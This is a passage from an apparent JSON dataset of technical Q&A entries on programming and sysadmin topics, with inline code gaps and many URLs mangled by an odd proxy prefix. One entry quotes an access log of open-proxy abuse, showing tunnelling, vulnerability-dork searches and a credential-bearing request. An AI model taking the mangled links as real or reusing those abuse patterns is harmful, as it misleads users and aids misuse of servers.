buildStyle();\n}, false);\n", "css greasemonkey google-calendar textwrapping
textwrap"], "4747161": ["What is a great tool for remote pair development?", "I'm
looking for something like VNC, but with some extra features:\n\n\nThe server
should send only the part of the screen the client is looking at.\nIt would be
great if we could have 2 mice on the client's desktop. Or at least if the client
could point to somthing without interrupting the server's mouse.\nA shared
whiteboard would be great.\n\nSome extra notes:\nMy friend lives far away, and we
are using WinXP.\n", "", "remote-desktop pair-programming"], "5178017": ["Adobe AIR
(Flash) ws Native Android and IOS", "I need to develop a SIP client which handles
audio and video real time features. I'm considering to use Flash (Adobe AIR) to do
the job. My basic concern is that Adobe AIR performance is not so good as native
Android and IOS.\nCan someone describe the main difference between Flash and native
programming.\nHow these difference can impact the performances of my SIP client.
Which is faster : Flash on Android or native ?\n", "", "android air native"],
"5094100": ["Replacing text node of HTML input in PHP", "I want to replace all the
text nodes in a html text. I'll explain with an example:\n$html = \"\n\nI want to
replace \"\" with \"\" and \"\" with \"\"\nWhat should be the regular expression
for the same?\n", "<div>\n <p>\n text2 text2 word text2\n
<span>abcd</span>\n text2 text2 word text2\n <p>\n this is a long,
very long statement with punctuations.\n</div>\n", "php regex dom php-dom"],
"3499566": ["Unittest in parallel", "\nPossible Duplicate:\nCan Python's unittest
test in parallel, like nose can? \n\nI have tests that are used with unittest and
they are run 1 by 1. I would like to run them in parallel because I have a lot of
wait so it would go much faster.\nIs it possible ? I can't find a solution on the
internet eventhough many ppl are talking about it.\n", "", "python unit-testing"],
"3267214": ["Use a custom deserializer only on fields?", "I do a replication
mechanism where I synchronize two databases. For communicating between databases I
serialize the objects into JSON using Gson. Each object has a UUID to identify it.
To avoid having to send the items that are up to date I use the objects UUID when
an object is included in a field in an object to be replicated.\nWe got the
following classes:\n\nIf I serialize Article its JSON representation will look like
this:\n\nwhere \"Brand\u00d6179d7798-aa63-4dd2-8ff6-885534f99e77\"
is the class (\"Brand\") and the UUID. \nIf I serialize Brand I expect: \n\nIn
Jackson I would change Article class to:\n\nand implement custom serializer and
deserializer to return the UUID instead of the object. \nGson do not have a
@JsonDeserialize annotation. \nIf we install the serializer and deserializer doing
like this:\n\nWe can serialize Article and Brand ok.\nDeserialize Article by \n\
nworks fine but \n\ndo not work. I guess the probem is that when we deserialize a
Brand we get the deserializer for Brand to kick in trying to return an UUID string,
but we want the deserializer to return a Brand-object instead. \nIs there a way to
avoid creating two different Gson objects? The problem with two diffrent Gson
objects is when you want to deserialize an object that contains both Article and
Brand. \n", "public class Entity {\n String uuid;\n\n// Getters and setters..\
n}\n\npublic class Article extends Entity {\n String name;\n Brand brand;\n\
n// Getters and setters..\n}\n\npublic class Brand extens Entity {\n String
name;\n Producer producer \n\n// Getters and setters..\n}\n\npublic class
Producer extends Entity {\n String name;\n\n// Getters and setters..\n}\n",
"gson"], "2723991": ["Multiple ssh login/logout", "I am dealing with ssh,\nMy task
is to log in to another console multiple times in non-interactive (?) mode so i
specificly log on the machine in such mode that I have to type CTRL-D to log out,
and this operation repeats.\n\nIs there any way so I dont have to type CTRL-D
manually to logout?\nRunning any command like ssh test@macintel './command.sh' does
not work for me.\nI was thinking of killing it by its PID, or invoking it with some
file descriptor but I still have my local session blocked by invoked ssh
connection.\nany ideas?\n", "\n #!/bin/bash\nfor i in seq 100\ndo\nssh
test@macintel\nsleep 1\ndone\n", "linux bash unix ssh"], "3516006": ["ext JS login
session", "\nHi all I'm new in Ext JS. It's my first time to use THIS stuffs. I'm
having some problem that how to display session username . can anyone show some
example to callback to JS file .\n", "", "javascript extjs"], "5918061": ["Sencha
2: Listeners on a panel not working", "I'm trying to port my Sencha app from
Sencha1 to Sencha2.\nIt seems that none of my listeners are working. The
documentation for Sencha2 seems to have different events, and a smaller number of
events:\nhttp://docs.sencha.com/touch/1-1/#!/api/Ext.Panel
\nhttp://docs.sencha.com/touch/2-0/#!/api/Ext.Panel\nIs there a new way to do this?
Are the listeners from Sencha1 just not implemented in Sencha2 yet? \n\n",
"Ext.define('MyApp.view.Loading', {\n extend: 'Ext.Panel',\n
googleAnalyticsName: 'Loading',\n id: 'loadingView',\n xtype:
'loading',\n config: {\n fullscreen: true,\n layout:
'vbox',\n scrollable: false,\n items: [{\n
html: '<div id=\"loading-view\" style=\"background-repeat: none;\"><div
id=\"loading-page-spinner\"></div>'\n }],\n listeners: {\n
activate: function() {\n console.log('activate listener');\n
},\n afterrender: function() {\n
console.log('afterrender listener') \n }\
n },\n },\n });\n", "events sencha-touch sencha-touch-2"],
"5622826": ["Is there a similar way to AlternateItemTemplate to do this", "Good day
everyone,\nA nice easy one before the weekend for you all!\nI know that with a
repeater I can use and to adopt a variety of alternating items or for the latter
a consistent style / attribute between items.\nBut in my latest task, I require a
SeperatorTemplate but only after every 3 items!\nI know I can do this in the
ItemDataBound and have a cheeky then use to place this in.\nI also know I can do
this using a repeater within a repeater. Just mentioning it is dirty....\nI want to
keep things clean to be honest, and if it's built in then it's something I want to
get in the habit of using, so if anyone knows of how to do so in a nice way (no
workarounds please), then please intrigue me.\nThanks people\n",
"AlternatingItemTemplate", "c# asp.net vb.net webforms repeater"], "2339049":
["XSLT 1.0 Grouping Key for different Nodes and Elements", "I am looking at the
Muenchian Grouping. I tried finding examples that are similar to my xml but can't
find any. Most of the examples are well structured while mine is confusing.\nHere's
a shortened version of my XML (note that I can't change the XML structure because
it's a standard thing and out of my hands), and I'm using XSLT 1 because the system
only supports that version now.\n\nThe output that I desire is:\n\nNow the id
attribute is being used as a value for the references element. And the tag in the
output can be either creator, contact, or whatever is inside element if it's under
an associatedParty element.\nI'm stuck with creating the key to group them from
their id/references attribute. As far as I see the examples using xsl:key is only
for nodes that have the same name, and the example I posted have different node
names. Any help would be appreciated!!!!\n", "<object>\n <creator id=\"123\">\n
<name>ABC</name>\n <city>Hamilton</city>\n </creator> \n
<creator><references>456</references></creator>\n
<contact><references>123</references></contact>\n <creator id=\"456\">\n
<name>XYZ</name>\n <city>New York</city>\n </creator>\n
<associatedParty><references>123</references>\n <role>Sponsor</role>\n
</associatedParty>\n</object>\n", "xml xslt grouping xslkey"], "3088166":
["hyphenation preprocessing", "I need some leads for tools in PHP and/or java
(Spring + Hibernate currently) to use for hyphenation of content. I have some text
content in included files and some in a database. All text is utf-8 encoded and I
need soft hyphens as the support for that is common in most browsers. \nSo this
stored original:\n\nwould turn up something like this\n\nin the source of the
finally loaded web page. \nAny ideas how to achieve this? \nSuggestions for text
edit tools that includes hyphenation within HTML mark up would also be welcome for
situations where there isn't any server-side code in use and only plain HTML source
files.\nAlso, I have yet to find a good source for hyphenation word lists.\n", "<p>
These words need hyphenation</p>\n", "java php preprocessor hyphenation"],
"5864438": ["How can I bring a pyGTK program to visibility, at any time, with a
keypress?", "This question isn't about how to grab the keypress, i'm using
accelators for that(but fi thats the wrong way by all means correct me)\nOnce i
start my program, i press ESC to hide it with window.hide_all().\nthe user may then
do other things in other programs, etc, but I want to make it so whenever the user
presses, for example, alt + backspace, my program comes back to visibility\nVery
much like in unix system, pressing alt + f2 fires up the GUI launcher.\nbonus: plus
what happens if the key combination i set (alt + backspace) is already a shortcut
for something in the user's system?\n", "", "python pygtk"], "646505": ["Hidden
rule in Outlook 2010", "I have a user who has somehow managed to set up some kind
of \"hidden rule\". If he receives a mail with the subject \"Scanned from a Xerox
multifunction device\" the mail never reaches his inbox.\nI've checked his rules,
and have checked his Junk email options - but there's nothing there.\nIf I connect
using OWA, the mail is received as normal, but then disappears.\nIf I conenct using
OWA, and his Outlook client is shut down, the mail stays. (As soon as he fires up
Outlook the mail disappears, however.)\nThis pretty much says it's something
Outlook related, but I'm stumped for where else to look. Is there a way of viewing
any \"hidden\" rules, or somewhere else I should check?\n(Client is Outlook 2010,
Server is Exch 2003 SP2)\n", "", "exchange-2003 outlook outlook-2010"], "2392168":
["IE 8 - script to update browser configuration", "For the deployment of a specific
Web application on IE (from 6 to 8, but let's concentrate on the 8), I need to set
some specific security settings.\nThere are a lot of them and some are touchy
(well, not that much but all my users don't talk computer fluently :-) ), so I'm
looking for a kind of batch (an .exe, a .bat, a .reg possibly if these parameters
can only be set in the Register DB, the best being a .NET app) to set them via a
single double-click before the deployment.\nThanks for your help and ideas !\n",
"", ".net internet-explorer scripting"], "2772889": ["When does /tmp get cleared?",
"I'm taking to putting various files in /tmp, and I wondered what the rules on
deleting them are?\nI'm imagining it's different for different distributions, and
I'm particularly interested in Ubuntu and Fedora desktop versions.\nBut a nice
general way of finding out would be a great thing.\nEven better would be a nice
general way of controlling it! (Something like 'every day at 3 in the morning,
delete any /tmp files older than 60 days, but don't clear the directory on
reboot')\n", "", "linux unix cleanup tmp"], "3493490": ["select from a dropdown
list based on selection from another dropdown list in jsp", "I have two dropdown,
one with all account ids and one with corresponding email ids. if I select one
entry from account id, corresponding email-id should be selected automatically in
the other dropdown. (account id and email-ids are one to one relation ship. first
accound id corresponds to first email id etc.) how can we do that in JSP ?\nsee my
dropdowns here:\n\nemail-ids are here:\n\n", "<td>\n 1. Member Account Number\n
<span class=\"bodyCopy\">\n <font color=\"#ff0000\"> * </font>\n
</span>: \n <html:select name=\"DataForm\" \n
property=\"Member.accountNumber\"
\n styleClass=\"formContent\" \n
style=\"width:80px\"> \n\n <html:options collection=\"<%=
WorkConstants.RENewDropdowns.PACCT %>\" \n
property=\"value\" \n labelProperty=\"label\" \n
styleClass=\"formContent\"/>\n </html:select>\n</td>\n", "jsp struts"],
"2320861": ["Why the Insights data have 7 days delay?", "I noticed that the data I
got either from FQL insights table or the Insights tab of my app's management site
has 7 days delay. Days ago the delay is about 2 days.\nFor example:\nAssuming today
is 2012-8-27,\n\nI get no data. I can get data from 8-20 and before.\nIs there any
way I can get more recent Insights data? My project can't afford such a slow
turnaround time.\n", "SELECT metric, value FROM insights WHERE
object_id=297730130255615 AND metric='application_active_users' AND
end_time=end_time_date('2012-08-21') AND period=period('day')", "facebook-fql delay
facebook-insights"], "4867263": ["I have many strange requests in my httpd
access_log, does it mean I have a virus?", "I have httpd log information as such
which goes on and on forever. Firstly, does this mean I have a virus? is my server
part of a botnet? My server is Linux Centos 5.\ntail -f /var/log/httpd/access_log\
nAlso how can I block this attack?\nHow can I make sure my server is not sending
out requests?\nWhat other security measures can I add?\n\n", "69.164.209.127 - -
[14/Jun/2012:18:49:05 +0800] \"GET
http://69.164.209.127/82d8e94797c2079b53bb3d36157a699f HTTP/1.1\" 404
309 \"-\" \"Avant Browser - MSIE 7 (Win XP)|Mozilla/4.0 (compatible; MSIE 7.0;
Windows NT 5.1; Avant Browser; Avant Browser; .NET CLR 1.0.3705; .NET CLR 1.1.4322;
Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)\"\n176.227.198.140
- - [14/Jun/2012:18:49:05 +0800] \"GET http://www.google.com/search?
as_q=monochrom+inurl:%3Fp%3D%2A%26option%3Dcom%5Fwordpress%26Itemid%3D
%2A&num=100&hl=en&output=ie&filter=0 HTTP/1.0\" 404 283
\"http://www.google.com/search?as_q=monochrom+inurl:%3Fp%3D%2A%26option%3Dcom
%5Fwordpress%26Itemid%3D%2A&num=100&hl=en&output=ie&filter=0\" \"Mozilla/4.0
(compatible; MSIE 7.0b; Windows NT 6.0)\"\n173.236.110.243 - -
[14/Jun/2012:18:49:06 +0800] \"CONNECT evisaforms.state.gov:443 HTTP/1.1\" 200 9452
\"-\" \"-\"\n95.250.43.84 - - [14/Jun/2012:18:49:06 +0800] \"POST
http://www.alldebrid.com/api.php?action=info_user&login=zcnhaa&pw=123456789
HTTP/1.1\" 404 287 \"-\" \"Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-
US)\"\n176.227.198.140 - - [14/Jun/2012:18:49:06 +0800] \"GET
http://www.google.com/search?as_q=monopsonic+%22Write+a+Comment
%22+Website&num=100&hl=en&output=ie&filter=0 HTTP/1.0\" 404 283
\"http://www.google.com/search?as_q=monopsonic+%22Write+a+Comment
%22+Website&num=100&hl=en&output=ie&filter=0\" \"Mozilla/4.79 [en] (Windows NT 5.0;
U)\"\n173.236.110.243 - - [14/Jun/2012:18:49:06 +0800] \"CONNECT
evisaforms.state.gov:443 HTTP/1.1\" 200 9452 \"-\" \"-\"\n46.4.25.139 - -
[14/Jun/2012:18:49:07 +0800] \"GET http://www.ebay.it/itm/-/280882450672 HTTP/1.0\"
404 292 \"-\" \"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0;
SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 3.5.21022; .NET
CLR 3.5.30729; MS-RTC LM 8; OfficeLiveConnector.1.4; OfficeLivePatch.1.3; .NET CLR
3.0.30729)\"\n173.236.110.243 - - [14/Jun/2012:18:49:07 +0800] \"CONNECT
evisaforms.state.gov:443 HTTP/1.1\" 200 9452 \"-\" \"-\"\n216.58.17.248 - -
[14/Jun/2012:18:49:07 +0800] \"GET http://images.google.com/ HTTP/1.1\" 200
9452 \"-\" \"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; .NET CLR
1.1.4322; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR
3.0.30729; .NET4.0C; .NET4.0E)\"\n173.236.110.244 - - [14/Jun/2012:18:49:07
+0800] \"CONNECT evisaforms.state.gov:443 HTTP/1.1\" 200 9452 \"-\" \"-\"\
n173.236.110.244 - - [14/Jun/2012:18:49:07 +0800] \"CONNECT
evisaforms.state.gov:443 HTTP/1.1\" 200 9452 \"-\" \"-\"\n173.236.110.244 - -
[14/Jun/2012:18:49:09 +0800] \"CONNECT evisaforms.state.gov:443 HTTP/1.1\" 200 9452
\"-\" \"-\"\n173.236.110.244 - - [14/Jun/2012:18:49:09 +0800] \"CONNECT
evisaforms.state.gov:443 HTTP/1.1\" 200 9452 \"-\" \"-\"\n", "linux centos virus
botnet"], "4385485": ["302 redirection after installing SSL", "We just moved our
website from one hosting to another. It was working perfectly fine there, we tested
the code after moving the code was fine so we started the migration. \nNow
everything looks fine so I moved ahead and installed the SSL certificate.
Everything went well and the SSL was installed. \nNow when I try to open my website
on the root path like this http://www.saletab.com OR https://www.saletab.com its
working fine\nAlso for the inside pages for http are working fine (e.g.
http://www.saletab.com/blackberry-z10-black-7031.html)\nPROBLEM:\nThe problem is
that whenever I try to go to any inner page (e.g.
https://www.saletab.com/blackberry-z10-black-7031.html) it will always show me an
error like \n========================\n302 Found\nFound\nThe document has moved
here.\nApache Server at www.saletab.com Port 443\n========================\nPlease
help me with this. What should I do?\n-D\n", "", "apache mod-rewrite ssl"],
"5206777": ["VirtualServer reverseproxy works locally, but not from client",
"Setup: 2 Webservers pointed to 127.0.0.1:8080 and :8081. Curl validates they
work as expected.\nApache with the following virt hosts:\n\nOn the server I can
curl to the virtualhosts and receive appropriate responses. (curl 192.168.1.1
gives me the webservers response from localhost:8080, etc)\nremote hosts cannot
however connect to 192.168.1.1 or .2 at all. What am I missing?\nRe: comments\
nYes, the default directory Directive is still in place.\n\nNo apache logs are
generated when trying to reach 192.168.1.1 remotely. They do get generated when
curl from local.\nIf I point the webservers to *:8080 and *:8081 instead of binding
to localhost, I can access them from a remote host via 192.168.1.1 and 192.168.1.2
if i specify the 8080 and 8081 ports (both ports work on both IP's, which is what
I'm trying to avoid with apache reverse proxy bind to 80 on each interface)\
nEdit2:\ncurl verbose output: (similar for second webserver, and for
127.0.0.1:portnum)\n\nlog from the request local\n\nno apache access log or error
log generated when requests from remote clients.\nEdit3\ncurl and logs to both
virtual hosts are literally identical, except for the IP address used. Working w/
security admins to get the locked down rules for more info. I appreciate you guys'
time.\n", "NameVirtualHost 192.168.1.1:80\n\n<VirtualHost 192.168.1.1:80>\n
ServerAdmin [email protected]\n ProxyPass / http://127.0.0.1:8080/\n
ProxyPassReverse / http://127.0.0.1:8080/\n ServerName 192.168.1.1\n
ServerAlias http://192.168.1.1\n</VirtualHost>\n\nNameVirtualHost 192.168.1.2:80\n\
n<VirtualHost 192.168.1.2:80>\n ServerAdmin [email protected]\n ProxyPass /
http://127.0.0.1:8081/\n ProxyPassReverse / http://127.0.0.1:8081/\n
ServerName 192.168.1.2\n ServerAlias http://192.168.1.2\n</VirtualHost>\n",
"apache2 reverse-proxy"], "4426779": ["What is the best solution to protect
communication between multiple servers?", "I am using cloud servers and they are
exchanging data. I would like to secure those exchanges.\nI am using RackSpace and
I am worried someone could just grap information between two of my servers.\nI am
using HTTP and the servers are running on Linux (Ubuntu).\nWhat is the best way?\
n", "", "security cloud-hosting rackspace-cloud"], "2279844": ["AJAX and
accessibility: focus or tab index on active element", "I am currently developing an
AJAX application which has to be accessible (WGAG 2.0, AA). \nI am testing my
application with a screen reader (Voice Over for now, on Mac Os X).\nThe
navigations consists of a series of buttons. When the user click on a button, the
javascript check if the content has been added to the page, if not, it performs an
AJAX call, append a new div to the page, hide previous elements and display the new
content, which works fine.\nThe issue I have is I want the user to go directly to
the content when the button has been pressed, so the person can read the content
directly instead of leaving the cursor at the button (so for now, when the client
press the button, the cursor stay on the button, instead of reading the content
that has been loader).\nI tried:\n\nand \n\nwhere id is the variable that contains
the id value (with the right selector '#').\nIt does not work very well, I think
this is because at the second click on a button, two elements have the tabindex set
to -1, but I am not sure.\nI am wondering if someone know which approach I should
use ?\nThank you\nBertrand\n", "$(id).attr(\"tabindex\",-1).focus();\n",
"javascript ajax accessibility"], "1775262": ["Activity having Spinner & Toggle
Button", "I am building one app & this is the setting page(Activity view) of my app
is .\nI use one & .\nWhen Toggle Button is checked the user profile is visible to
all other users of this app & is Hidden when it is unchecked. \nFrom Spinner
options, user can search others users of this app around him/her by selecting
distance. \nWhat my problem is -> When app is running these settings working but
when i relaunch my app user`s previous setting get lost(i.e., that are not
persistent & again i have to do these settings)... How I can over come from this
problem. My code is-> \n\nHow can i get these (old settings or my previous
settings) when i relaunch my app...??? &\nHow can i make the view more eye
catching & good looking(the system spinner is not looking good)???\nI pleased to
have or to solve this problem! \n", "this", "android spinner android-preferences
togglebutton"], "5090864": ["Develop a timer job that operates only on selected
site
collections", "Advancing from my original intent to run things via a Workflow as
per this original question, I've started to work on a complex, configurable Timer
Job that reads from each listitem to determine the appropriate flags for each
action it takes.\nHowever, most of the tutorials and demonstrations I find for this
work on the Web Application level (as timer jobs are installed there). I need this
to be run on a site collection level, and only on specific site collections (the
selection of which will change over time).\nHow can I adapt a timer job to be
scoped to specific site collections? In the feature that is responsible for adding
the Timer Job, I've tried adding various properties of the current SPSite as a
property of the custom SPJobDefinition, but they either don't stick, or don't work.
I've tried storing the property (which the SPSiteCollection[] indexer says you can
use to specify), I've tried using on the SPSiteCollection, and variations on the
container to store these items. Nothing has worked.\n\nHow can I properly specify
inside the Timer Job what site collections should be looked at? How can I properly
reference and modify these values as site collections phase in and out of
production?\nIf it is not possible to store this in the Timer Job itself, how best
should I iterate the site collections and determine which ones need to actually run
the process? The number of sites may grow very fast so it would ideally need to
account for an increasing number of site collections to run by.\n\n",
"ServerRelativeUrl", "2007 wss-3.0 timer-jobs"], "2291355": ["high availability and
spring framework", "is there any sample, document, white paper or technical
discussion that talk about how it is possible to support thousands of online users
(eg: 50k) by app that implemented using spring-framework?\n", "", "spring cluster-
computing"], "672701": ["What is vim syntax name for printf placement %d within
strings?", "Within format strings, the placement characters, from to the
corresponding , or appear in dark blue. With a black background, they are very
hard to read.\nTo change the color, I know I have to change the color with a
command like this:\n\nBut I have to put the correct syntax group name instead of .\
nDoes anyone know what this syntax group name is?\n", "printf", "vim colors syntax-
highlighting"], "2734048": ["User/Group Policies in Windows 2000 domain
controller", "In Server 2000 active directory, I have 5 groups of users and every
user has different policies.\nThe problem is that a different desktop loads for
only one specific user no matter what changes I make in administrative templates.\
nIf I copy this user profile and paste it into another group with a different name,
windows workaround loads as it should, but some policies are not applied.\nDoes
anybody know a way to solve this problem instead of creating a new group and user
from scratch? \n", "", "active-directory group-policy windows-server-2000"],
"3928578": ["Tapping into the notification API", "I want to develop a small
application that monitors a Facebook page.\nLet's take this page as an example:\
nhttps://www.facebook.com/revisortrainee\nEach time: \n\nA new recommandation is
made.\nA new comment is made\nA new post is made by a user\n\nI want to send an SMS
to a phonenumber.\nIs there anyone here who can point me in direction of where to
look in the Facebook API and maybe an example of this?\nThought about just scraping
it since pages became public with the Timeline update.\nAny help will do :)\n", "",
"facebook api notifications"], "1191547": ["Getting the inlining failed warning
during gcc compilation", "What is the reason for the following kind of warning\n\
nwhen function is static inline.Following is a kind of function defined in header
file. How can i get rid of the above mentioned warning.\n\nEDIT\nyes i tried
removing the , but i get the following warning\n\nIs there any way to remove both
the warnings?\n[EDIT]\n\n", " inlining failed to while calling the function:
The code size may grow.\n", "c gcc compiler warnings inline"], "944719": ["How can
I align text, on my title slide, from two different boxes?", "I'm trying to match a
PowerPoint template, because, well, does anybody here like PowerPoint? Swapping
the images out for those that are in the public domain, it looks something like
this:\n\nNo, I did not intentionally choose the biggest eyesore I could find. I've
gotten this far with my code:\n\nusing this logo\n\nand the image here for the
background. My MWE was made with this file\n\nthis and this simple file:\n\nMy
question lies in this file though:\n\nHow can I align the top line of the title
text with the top line of the author text as in the PowerPoint? I've tried
inserting glue in various places, but many of those tries wouldn't even compile,
saying I had an extra (which didn't make sense to me).\n", ".tex", "beamer
vertical-alignment boxes"], "5606317": ["Creating Entry in Bibtex for Executive
Orders", "Anybody have any idea on how to create the proper APA entry for an
Executive Order in my .bib? I can't seem to find any guidance on what fields to
use to make it work.\nThe reference should appear like this:\nExec. Order No.
13,423, 3 C.F.R. 3919. (2007).\n", "", "bibtex"], "3710405": ["What tools or
libraries used in your company to speed up the development and ensure the
quality?", "As far as I know some company will use Devexpress to speed up the UI
design\nsome company might use the AssistX .\nanother question:\nis there any
plugin which can help to keep a eye on our company 's code convention? If someone
don't follow the convention, visual studio will warn him ?\n", "", "visual-studio
software-engineering"], "5119844": ["Gnuplot: point size units", "How can I set the
point size in gnuplot in the units of the plot coordinates? \nIn other words, the
points should get smaller if I increase xrange. \nIt looks like this is all
terminal dependent. Is there a workaround?\n", "", "plot gnuplot"], "64077": ["WPF
- auto suggest text as a person types into a text box control", "What is the best
way to implement an auto-suggest feature for a textbox in WPF? I have found various
article that are convoluted (and old) and some also suggest that there is a control
available for this (but its not in my current WPF toolkit). What's the latest/best
method for implementing auto-suggest as a user is typing in to a textbox?\n", "",
"wpf autocomplete"], "938472": ["Firefox Start page stay white", "I'm a Firefox
user since several years so I know it but today I had a strange problem. I
installed the last stable version of Firefox (3.5.5) on a computer but when I
launch the browser the page stay empty (blank).\nIn the settings I set the
startpage as Google but nothing to do. When the browser starts in the address bar
it is well written google.com but the page remains blank. I must click on the
button in the address bar so that the site appears.\nI've never had this problem
with Firefox, it's strange. Thanks\n", "", "firefox startup homepage"], "3289499":
["Having problems with paging", "My lists articles on the first page, and on the
bottom I have a pager. \nWhen I click page 2, the index.php page is loaded and the
url looks like this: .\nWhy isn't category.php page loaded when URL has ?\nMy
permalink structure looks like this: \nIf it helps to see the code, here it is:\n\
n", "category.php", "categories pagination"], "944718": ["Hosting own website", "I
like to host my own website at home.\nI have 5 website running which i like to host
at home on my own web server. Can this be done.\nI can do this for one website but
how do i do this for 5 website.\n", "", "apache localhost web-hosting"], "5341664":
["Change the time interval of a Timer", "here is my question:\nIs it possible to
increase the for example of \"3\" after 10 seconds in ViewDidLoad for example.\
nE.g., from this: \n\nto this:\n\nthank you\nsorry for my english I french :/\n",
"scheduledTimerWithTimeInterval:2", "iphone xcode timer nstimer nstimeinterval"],
"704461": ["Are scientists biased towards the government's influence?", "A common
rebuttal to scientific studies is that most scientists are funded by the
government, and hence are working to a government's agenda. Sometimes the claim
extends to suggest that the peer-review process is biased towards the government's
opinion.\nThis is most common for political topics, such as Evolution or AGW. \nIs
there any evidence that some notable research has been biased in the findings or
peer review due to government influence?\n", "", "medical-science politics"],
"2737782": ["Google Spreadsheet - SUMIF not strikethrough", "Is is posible with
Google docs spreadsheet to calculate the fields (currency) and ignor all fields
that have had a strikethough applied?\nRegards\nC \n", "", "spreadsheet google-docs
google-spreadsheet google-drive"], "625819": ["Correctly shrink NTFS and Resize
partition using linux", "I am trying to resize a 160GB disk to fit on a 80GB disk,\
nI have tried 3 times to shrink my NTFS and resize the partition. Im using
backtrack as a live CD to do this,\nI use ntfsresize to the filesystem to 60GB\
nThen I use fdisk to delete the partition and then create a new partion starting at
the same point but finishing at 60GB, I mark the partition bootable and give it an
ID of 7 which is for NTFS then I write it to disk and reboot, I then get, \n\
n\"Operating system not found\"\n\nSo then I used ms-sys to repair the MBR which
it said was successful, But now when I boot I get \n\n\"Error loading operating
system\"\n\nAny Ideas, luckily I have clonezilla backup of the 160GB disk and I
just keep reimaging and then trying again but im stuck as to how to get it to work,
\n", "", "ntfs fdisk"], "3995375": ["C# Get List of Time 00AM to 23PM on to List",
"Scenario:\nI'm trying to populate the C# List with all the
time in a day as shown in example below:\n\n00AM to 23PM.\n\nCould someone please
help me whether this can be achieved from LINQ or similar?\nThanks.\n", "", "c# c#-
4.0"], "2447943": ["How to make only 5 slides visible at a time in corousel.js
based slider", "\nThis is the slider i am trying to use. I have more then 25
slides which i want includewhen i am trying to do that its dynamically shrinking
the image size and fitting almost 10 slides on page i only want to see 5 slides at
any given time \nAny Fix for this on how to get only 5 slides on Visible html page\
n", "", "javascript css"], "896786": ["Farseer Meter/Pixel Ratio", "I've done a lot
with box2d in c++, and am giving C# a try. It looks like Farseer is generally used
in place of Box2D (I'm aware of Box2DXNA, but it seems a little outdated.) So,
Farseer is what I've been using. When I was using C++ and Box2D, everyone always
advised against using a 1pixel/meter ratio (For what reason, I don't know,) and
usually suggested using somewhere around 30pixels/meter. As I've been researching
Farseer, I've seen a lot of conflicting statements. Some say to use 1pixel/meter,
others say to use a scale, others say to use ConvertUnits.ToSimUnits and
ConvertUnits.ToDisplayUnits, etc.\nSo what should I use? Right now, I'm using
ConvertUnits, but everything renders in weird places. Is there a de-facto standard
or anything that I should go by? Thanks in advance.\n", "", "c# xna physics xna-4.0
farseer"], "5648781": ["how to set socket.io origins to restrict connections to one
url", "We have one html site and one node.js server which serves that website.\nThe
website and the server exchange data using socke.io.\nWe found this in the
documentation:\norigins defaults to \nThe origins that are allowed to connect to
the Socket.IO server.\nOur html.site is on .\nOnly this site may connect to our
server.(But everyone may connect to that website.)\nHow do we have to set the
origins?\n", "*:*", "javascript node.js socket.io"], "4401329": ["Chrome Web
Browser does not Work While IE does", "When I try to start Chrome Web Browser,
the \"User Account Control\" window opens and asks whether I want to give
permission to this application to make changes in my computer. I give the
permission, Chrome opens, but does not connect to the Internet. There is no error
in the opened page. When I try to connect to internet via IE, it works.\nI've been
experiencing this issue since yesterday, I was able to use Chrome before.\n", "",
"windows-7 google-chrome browser"], "4978007": ["HTTP digest authentication for
webdav and Office 2010 upload center", "I have a web application that has a WebDav
share for Word that uses http digest authentication. We use javascript like the
following to open word documents on the in word:\n\nIn office 2003 and office
2007, it works (but not 100% reliably). In Office 2010, I can open the document
fine, but when I save a document, it comes up in Microsoft Office Upload Center,
with the error \"Upload Failed - Upload error\". There is a drop down menu button
offering to resolve the problem, but none of the options are useful in diagnosis.\
nLooking at the logs on the server, it got as far as making a LOCK request.\nWe are
using a slightly customised version of HTTP_WebDAV_Server from PEAR. Will we need
to switch to a more advanced authentication for this to work? Can that be done from
a PHP based WebDav server?\n", "Doc = new
ActiveXObject(\"Sharepoint.OpenDocuments.3\");\nDoc.EditDocument(url,
'Word.Document');\n", "php web-applications webdav office-2010"], "5077897":
["Creating a local mailbox for NIS account", "What is the way of creating a local
mailbox for a user that have a NIS account, but doesn't have any local one?\n", "",
"linux fedora"], "3149829": ["How to add the aliases to the group by clause", "In
the below query how to add the aliases , , , to the group by clause.\nI am
struggling for the past few hours.\n\n", "assignedTOiti", "sql oracle select group-
by"], "895187": ["How to monitor a CakePHP application", "I would like to get a
better insight into my CakePHP application. Ideally, the report would be similar to
those generated by New Relic RPM - http://www.newrelic.com/. Are there any plugins
or services that can deliver these sorts of reports for CakePHP applications? I am
looking for a monitoring application - not just a debugging solution.\n", "",
"cakephp monitoring"], "237492": ["Recipients addressed using CC in Thunderbird get
my message twice", "I've just found out that when I CC people in emails they
receive the message twice - I imagine that this is quite annoying for them. Anybody
know why this happens and a sure fire solution?\n", "", "thunderbird"], "5889958":
["best practices for using Sencha Touch 2.0 build commands with Rails 3.0?", "I'm
new to Sencha Touch 2.0 and I'm trying to integrate it into an existing Rails 3.0
project. I've: \n\nInstalled the latest sdk
(http://www.sencha.com/products/touch/download/) \nCompleted the tutorial Getting
Started with Sencha Touch 2
(http://docs.sencha.com/touch/2-0/#!/guide/getting_started)\nRead through this
tutorial and pt2 on on integrating Sencha Touch 1 with Rails.\n\n.. but the
material above (the best I found) never mentions the Sencha Touch 2: command and
how to integrate with Rails 3.0.\n for example creates a /diff directory, which is
